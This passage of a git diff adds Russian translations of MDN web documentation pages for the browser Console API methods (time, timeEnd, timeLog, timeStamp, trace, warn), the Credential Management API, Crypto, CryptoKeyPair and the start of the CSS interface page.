+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("34.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/console/time/index.html b/files/ru/web/api/console/time/index.html
new file mode 100644
index 0000000000..bf32c8aff0
--- /dev/null
+++ b/files/ru/web/api/console/time/index.html
@@ -0,0 +1,62 @@
+---
+title: Console.time()
+slug: Web/API/Console/time
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+  - console
+translation_of: Web/API/Console/time
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Запускает таймер, который вы можете использовать для определения, сколько времени занимает выполнение той или иной операции. Вы должны назначить каждому таймеру уникальное имя и таким образом можете запустить до 10000 таймеров на одной странице. Когда вы вызовете {{ domxref("console.timeEnd()") }} с именем, которое использовалось при запуске таймера, браузер отобразит в консоли время (в миллисекундах), прошедшее с момента запуска таймера.</p>
+
+<p>Примеры и более детальная информация находятся в разделе <a href="/ru/docs/DOM/console#Timers" title="DOM/console#Timers">Таймеры</a> документации к {{ domxref("console") }}</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>console.time(<var>label</var>);</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Название нового таймера. Оно однозначно идентифицирует таймер. Используйте то же самое название таймера, когда вызываете {{ domxref("console.timeEnd()") }} для остановки и отображения времени выполнения таймера.</dd>
+</dl>
+
+<h2 id="Документация">Документация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#time", "console.time()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте этот сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на изменение.</div>
+
+<p>{{Compat("api.Console.time")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("Console.timeEnd()") }}</li>
+ <li>{{ domxref("Console.timeLog()") }}</li>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/timeend/index.html b/files/ru/web/api/console/timeend/index.html
new file mode 100644
index 0000000000..fd23031ed5
--- /dev/null
+++ b/files/ru/web/api/console/timeend/index.html
@@ -0,0 +1,76 @@
+---
+title: Console.timeEnd
+slug: Web/API/Console/timeEnd
+tags:
+  - API
+  - Method
+  - Веб-разработка
+  - Отладка
+  - консоль
+translation_of: Web/API/Console/timeEnd
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Останавливает таймер, который был запущен до этого через функцию {{domxref("console.time()")}}.</p>
+
+<p>Более подробная документация и примеры есть в разделе <a href="/ru/docs/DOM/console#Timers" title="DOM/console#Timers">Таймеры</a> документации к {{domxref("console")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">console.timeEnd(<code><var>label</var></code>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Метка таймера, который будет остановлен. Останавливается один раз. После остановки время отображается в <a href="/ru/docs/Tools/Web_Console" title="Web Console">Веб-консоли</a>.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Примеры</h2>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");</pre>
+
+<p>В примере выше мы получим время, которое потребовалось пользователю, чтобы закрыть первое диалоговое окно, а затем время, которое потребовалось пользователю, чтобы закрыть второе диалоговое окно:</p>
+
+<p><img alt="timerresult.png" src="https://mdn.mozillademos.org/files/16741/timer_output.png"></p>
+
+<p>Обратите внимение, что метка таймера отображается как при вызове <code>timeLog()</code>, так и завершении таймера. Кроме того, вызов timeEnd() выводит дополнительную информацию "timer ended", чтобы очевидно показать, что таймер больше не отслеживается.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timeend", "console.timeEnd()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Console.timeEnd")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Console.time")}}</li>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/timelog/index.html b/files/ru/web/api/console/timelog/index.html
new file mode 100644
index 0000000000..9b87553a7f
--- /dev/null
+++ b/files/ru/web/api/console/timelog/index.html
@@ -0,0 +1,92 @@
+---
+title: Console.timeLog()
+slug: Web/API/Console/timeLog
+translation_of: Web/API/Console/timeLog
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Выводит в консоль текущее значение таймера, запущенного вызовом {{domxref("console.time()")}}.</div>
+
+<p>Подробности и примеры смотрите в документации <a href="/en-US/docs/Web/API/console#Timers">Timers</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.timeLog(<em>label</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Имя таймера для вывода в консоль.</dd>
+</dl>
+
+<h3 id="Результат">Результат</h3>
+
+<p>Если параметр <code>label</code> опущен, выводит значение таймера по умолчанию:</p>
+
+<pre>default: 1042ms</pre>
+
+<p>Если в параметре <code>label</code> указано имя существующего таймера:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">timer name: 1242ms</span></span></span></span></pre>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>При отсутствии запущенного таймера по умолчанию <code>timeLog()</code> выводит предупреждение:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Timer “default” doesn’t exist.</span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">При указании имени несуществующего таймера:</span></span></span></p>
+
+<pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Timer “timer name” doesn’t exist.</span></span></span> </pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">console.time("answer time");
+alert("Нажмите для продолжения");
+console.timeLog("answer time");
+alert("Делаем кучу другой работы...");
+console.timeEnd("answer time");
+</pre>
+
+<p>Отчет таймера начинается с момента вызова <code>console.time()</code>. Сначала выводится время от начала отсчета до закрытия первого уведомления. Затем выводится время с начала отсчета до закрытия второго уведомления:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
+
+<p>Обратите внимание, имя таймера печатается как при вызовах <code>timeLog()</code> , так и при завершении таймера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timelog", "console.timeLog()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости сгенерирована из структуированных данных. Для внесения вклада, пожалуйста, изучите репозитарий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> с последующей отправкой пулл-реквестов.</div>
+
+<p>{{Compat("api.Console.timeLog")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/timestamp/index.html b/files/ru/web/api/console/timestamp/index.html
new file mode 100644
index 0000000000..9bd67bdc27
--- /dev/null
+++ b/files/ru/web/api/console/timestamp/index.html
@@ -0,0 +1,39 @@
+---
+title: Console.timeStamp()
+slug: Web/API/Console/timeStamp
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Console/timeStamp
+---
+<p>{{APIRef("Console API")}}{{Non-standard_header}}</p>
+
+<p>Добавляет маркер в браузерные инструменты <a href="https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/reference">Performance</a> или <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Это помогает соотнести точку в вашем коде с другми записанными событиями.</p>
+
+
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>console.timeStamp(<code><em>label</em></code>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Название метки. Необязательный параметр.</dd>
+</dl>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Console.timestamp")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Console.time()")}}</li>
+ <li>{{domxref("Console.timeEnd()")}}</li>
+ <li><a href="/en-US/docs/Tools/Performance/Waterfall#Timestamp_markers">Adding timestamps to the Waterfall</a></li>
+</ul>
diff --git a/files/ru/web/api/console/trace/index.html b/files/ru/web/api/console/trace/index.html
new file mode 100644
index 0000000000..0d092339d5
--- /dev/null
+++ b/files/ru/web/api/console/trace/index.html
@@ -0,0 +1,66 @@
+---
+title: Console.trace()
+slug: Web/API/Console/trace
+translation_of: Web/API/Console/trace
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит стэк трэйс в  <a href="/en-US/docs/Tools/Web_Console">Веб Консоль</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Посмотрите <a href="/en-US/docs/Web/API/console#Stack_traces">Стэк трэйсы</a> в документации {{domxref("console")}} с деталями и примерами.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.trace();
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>В консоли следующий трэйс будет отображен так:</p>
+
+<pre>bar
+foo
+&lt;anonymous&gt;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#trace", "console.trace()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Стандартное значение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.Console.trace")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Документация Opera Dragonfly: Консоль</a></li>
+</ul>
diff --git a/files/ru/web/api/console/warn/index.html b/files/ru/web/api/console/warn/index.html
new file mode 100644
index 0000000000..6b5d7c1359
--- /dev/null
+++ b/files/ru/web/api/console/warn/index.html
@@ -0,0 +1,67 @@
+---
+title: Console.warn()
+slug: Web/API/Console/warn
+translation_of: Web/API/Console/warn
+---
+<div>
+<article class="text-content" id="wikiArticle">
+<div>{{APIRef("Console API")}}</div>
+
+<div>Выводит предупреждение в веб-консоль.</div>
+
+<div></div>
+
+
+<p>{{AvailableInWorkers}}{{Note("В Firefox, предупреждения имеют небольшое изображение восклицательного знака перед сообщением.")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.warn(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.warn(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 и более <a href="https://developer.mozilla.org/ru/docs/Web/API/console#Using_string_substitutions">подстановочных символов</a> для замен.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в <code>msg</code>. Это даст вам дополнительный контроль над форматом вывода.</dd>
+</dl>
+
+<p>Больше подробностей смотрите в разделе <a href="/ru/docs/Web/API/Console#Outputting_text_to_the_console">Вывод текста в консоль</a> документации {{domxref("console")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external external-icon" href="https://console.spec.whatwg.org/#warn" hreflang="en" lang="en">Console API<br>
+    <small lang="en-US">Определение 'console.warn()' в спецификации.</small></a></td>
+   <td><span class="spec-Living">Живой стандарт</span></td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="htab">{{Compat("api.Console.warn")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external external-icon" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external external-icon" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
+</article>
+</div>
diff --git a/files/ru/web/api/console_api/index.html b/files/ru/web/api/console_api/index.html
new file mode 100644
index 0000000000..09ca028cb3
--- /dev/null
+++ b/files/ru/web/api/console_api/index.html
@@ -0,0 +1,72 @@
+---
+title: Console API
+slug: Web/API/Console_API
+tags:
+  - API
+  - console
+  - Отладка
+translation_of: Web/API/Console_API
+---
+<div>{{DefaultAPISidebar("Console API")}}</div>
+
+<div><span class="seoSummary">Console API обеспечивает функциональность, которая позволяет разработчикам выполнять задачи по отладке, такие как логгирование сообщений или значений переменных в определённых местах кода, измерение времени, требуемое на выполнение задачи</span></div>
+
+<h2 id="Понятие_и_использование">Понятие и использование</h2>
+
+<p>Console API изначально было собственным API с различной браузерной реализацией. <a href="https://console.spec.whatwg.org">Спецификация Console API</a> была создана, чтобы согласовать поведение. Сейчас все современные браузеры используют эту реализацию. Хотя некоторые реализации имеют свои собственные функции. Узнать больше можно здесь:</p>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools implementation</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari DevTools implementation</a></li>
+</ul>
+
+<p>Использование крайне простое — объект {{domxref("console")}} ({{domxref("window.console")}} в браузерах или {{domxref("WorkerGlobalScope.console")}} в Web Worker) содержит множество методов, которые вы можете вызвать для выполнения отлададки. В основном используется для вывода <a href="/ru/docs/Tools/Web_Console">веб-консоль</a> различных значений.</p>
+
+<p>Один из самых часто используемых методов {{domxref("console.log")}}, который используют для вывода текущего значения переменной.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("console")}}</dt>
+ <dd>Обеспечивает простую функциональность для отладки. Включает в себя логгирование, трассировку, таймеры и счётчики.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">let myString = 'Hello world';
+
+// Вывод "Hello world" в консоль
+console.log(myString)</pre>
+
+<p>Смотрите больше примеров на странице <a href="/ru/docs/Web/API/Console#Usage">Console</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Tools" title="Tools">Инструменты разработчика</a></li>
+ <li><a href="/ru/docs/Tools/Web_Console" title="Web Console">Веб-консоль</a> — как Веб-консоль в Firefox работает с вызовами Console API</li>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging">Отладка удалённых скриптов</a> — как увидеть консоль, когда выполняется отладка на мобильных устройствах</li>
+</ul>
diff --git a/files/ru/web/api/credential_management_api/index.html b/files/ru/web/api/credential_management_api/index.html
new file mode 100644
index 0000000000..5d4036b042
--- /dev/null
+++ b/files/ru/web/api/credential_management_api/index.html
@@ -0,0 +1,65 @@
+---
+title: Credential Management API
+slug: Web/API/Credential_Management_API
+tags:
+  - API
+  - Credential Management API
+  - Landing
+  - NeedsContent
+  - Overview
+  - Reference
+  - credential management
+translation_of: Web/API/Credential_Management_API
+---
+<p>{{DefaultAPISidebar("Credential Management API")}}{{ SeeCompatTable() }}</p>
+
+<p class="summary">The Credential Management API (API управления учетными данными) позволяет веб-сайту хранить и извлекать учетные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учетную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истекшим сроком действия.</p>
+
+<h2 id="Концепции_и_использование_учетных_данных">Концепции и использование учетных данных</h2>
+
+<p>Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учетными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учетными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учетных данных. Это дает пользователям такие возможности, как просмотр федеративной учетной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истекшим сроком действия.</p>
+
+<div class="note">
+<p>Этот API ограничен контекстами верхнего уровня. Вызовы <code>get()</code> и <code>store()</code> внутри элемента <code>&lt;iframe&gt;</code> вполнятся без эффекта.</p>
+</div>
+
+<h3 id="Учетные_данные_общие_для_поддомена">Учетные данные, общие для поддомена</h3>
+
+<p>Более поздняя версия спецификации позволяет получать учетные данные из другого поддомена. Например, пароль, хранящийся в <code>login.example.com</code>, может использоваться для входа на <code>www.example.com</code>. Чтобы это использовать, пароль должен быть явно сохранен путем вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация <em>рекомендует</em> использовать PSL только для определения действующей области учетных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Credential")}}</dt>
+ <dd>Предоставляет информацию о сущности в качестве предварительного условия для принятия решения о доверии.</dd>
+ <dt>{{domxref("CredentialsContainer")}}</dt>
+ <dd>Предоставляет методы для запроса учетных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в <code>navigator.credentials</code>.</dd>
+ <dt>{{domxref("FederatedCredential")}}</dt>
+ <dd>Предоставляет информацию об учетных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. <a href="http://openid.net/developers/specs/">OpenID Connect</a> является примером такой структуры.</dd>
+ <dt>{{domxref("PasswordCredential")}}</dt>
+ <dd>Предоставляет информацию о паре имени пользователя и пароля.</dd>
+ <dt>{{domxref("PublicKeyCredential")}}</dt>
+ <dd>Предоставляет учетные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/crypto/index.html b/files/ru/web/api/crypto/index.html
new file mode 100644
index 0000000000..87ea3710d5
--- /dev/null
+++ b/files/ru/web/api/crypto/index.html
@@ -0,0 +1,68 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+tags:
+  - API
+  - Web Crypto API
+  - Интерфейс
+  - Справка
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>Интерфейс <code><strong>Crypto</strong></code> представляет базовые криптографические функции, доступные в общеупотребительном контексте. Он позволяет получить доступ к криптографически сильному генеретору случайных чисел и к криптографическим примитивам.</p>
+
+<p>Объект с этим интерфейсом доступен в Web-контексте через свойство {{domxref("Window.crypto")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс реализует свойства, объявленные в {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("SubtleCrypto")}}, предоставляющий доступ к часто используемым криптографическим примитивам, таким как хэширование, цифровые подписи, шифрование и расшифрование.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс реализует методы, объявленные в {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>Заполняет переданные {{ jsxref("TypedArray") }} случайными в криптографическом смысле значениями.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Комментарий</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Исходное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Crypto")}}</p>
+
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/cryptokeypair/index.html b/files/ru/web/api/cryptokeypair/index.html
new file mode 100644
index 0000000000..6a9c82fa3d
--- /dev/null
+++ b/files/ru/web/api/cryptokeypair/index.html
@@ -0,0 +1,73 @@
+---
+title: CryptoKeyPair
+slug: Web/API/CryptoKeyPair
+tags:
+  - API
+  - CryptoKeyPair
+  - Web Crypto API
+translation_of: Web/API/CryptoKeyPair
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p><strong><code>CryptoKeyPair</code></strong> из <a href="/en-US/docs/Web/API/Web_Crypto_API">Web Crypto API </a>представляет собой пару ключей для ассиметричных криптографических алгоритмов, также известных как алгоритмы с публичным-приватным ключом.</p>
+
+<p>Объект <code>CryptoKeyPair</code> может быть получен с помощью {{domxref("SubtleCrypto.generateKey()")}}, используя один из следующих алгоритмов: RSASSA-PKCS1-v1_5, RSA-PSS, RSA-OAEP, ECDSA, или ECDH.</p>
+
+<p>У него всего два свойства, оба объекты <code><a href="/en-US/docs/Web/API/CryptoKey">CryptoKey</a></code>: свойства <code>privateKey</code>, содержащее приватный ключ, и <code>publicKey</code> с публичным ключом.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>CryptoKeyPair.privateKey</code></dt>
+ <dd>Объект <code><a href="/en-US/docs/Web/API/CryptoKey">CryptoKey</a></code>, представляющее приватный ключ. В криптографических алгоритмах используется для разшифровывания и подписи.</dd>
+ <dt><code>CryptoKeyPair.publicKey</code></dt>
+ <dd>Объект <code><a href="/en-US/docs/Web/API/CryptoKey">CryptoKey</a></code>, представляющее публичный ключ. В криптографических алгоритмах используется для зашифровывания и проверки подлинности подписи.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Методы <code>SubtleCrypto</code> обычно используют объекты <code>CryptoKeyPair</code>. Примеры:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/generateKey">SubtleCrypto.generateKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/deriveKey">SubtleCrypto.deriveKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/importKey">SubtleCrypto.importKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/exportKey">SubtleCrypto.exportKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/wrapKey">SubtleCrypto.wrapKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/unwrapKey">SubtleCrypto.unwrapKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/encrypt">SubtleCrypto.encrypt()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/decrypt">SubtleCrypto.decrypt()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/sign">SubtleCrypto.sign()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/verify">SubtleCrypto.verify()</a></code></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-CryptoKeyPair', 'CryptoKeyPair') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерированна из данных репозитория <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> . Если вы хотите принять участие, можете отправить нам pull request.</div>
+
+<p>{{Compat("api.CryptoKeyPair")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("SubtleCrypto.generateKey")}}.</li>
+ <li>{{domxref("SubtleCrypto.sign")}} and {{domxref("SubtleCrypto.verify")}}.</li>
+ <li>{{domxref("SubtleCrypto.encrypt")}} and {{domxref("SubtleCrypto.decrypt")}}.</li>
+</ul>
diff --git a/files/ru/web/api/css/index.html b/files/ru/web/api/css/index.html
new file mode 100644
index 0000000000..7d03faadb5
--- /dev/null
+++ b/files/ru/web/api/css/index.html
@@ -0,0 +1,128 @@
+---
+title: CSS
+slug: Web/API/CSS
+translation_of: Web/API/CSS
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>Интерфейс <code><strong>CSS</strong></code> имеет полезные CSS-связанные методы. нет объекта реализованного с этим интерфейсом: он содержит только статичиские методы и, следовательно, является утилитарным интерфейсом.</p>
+
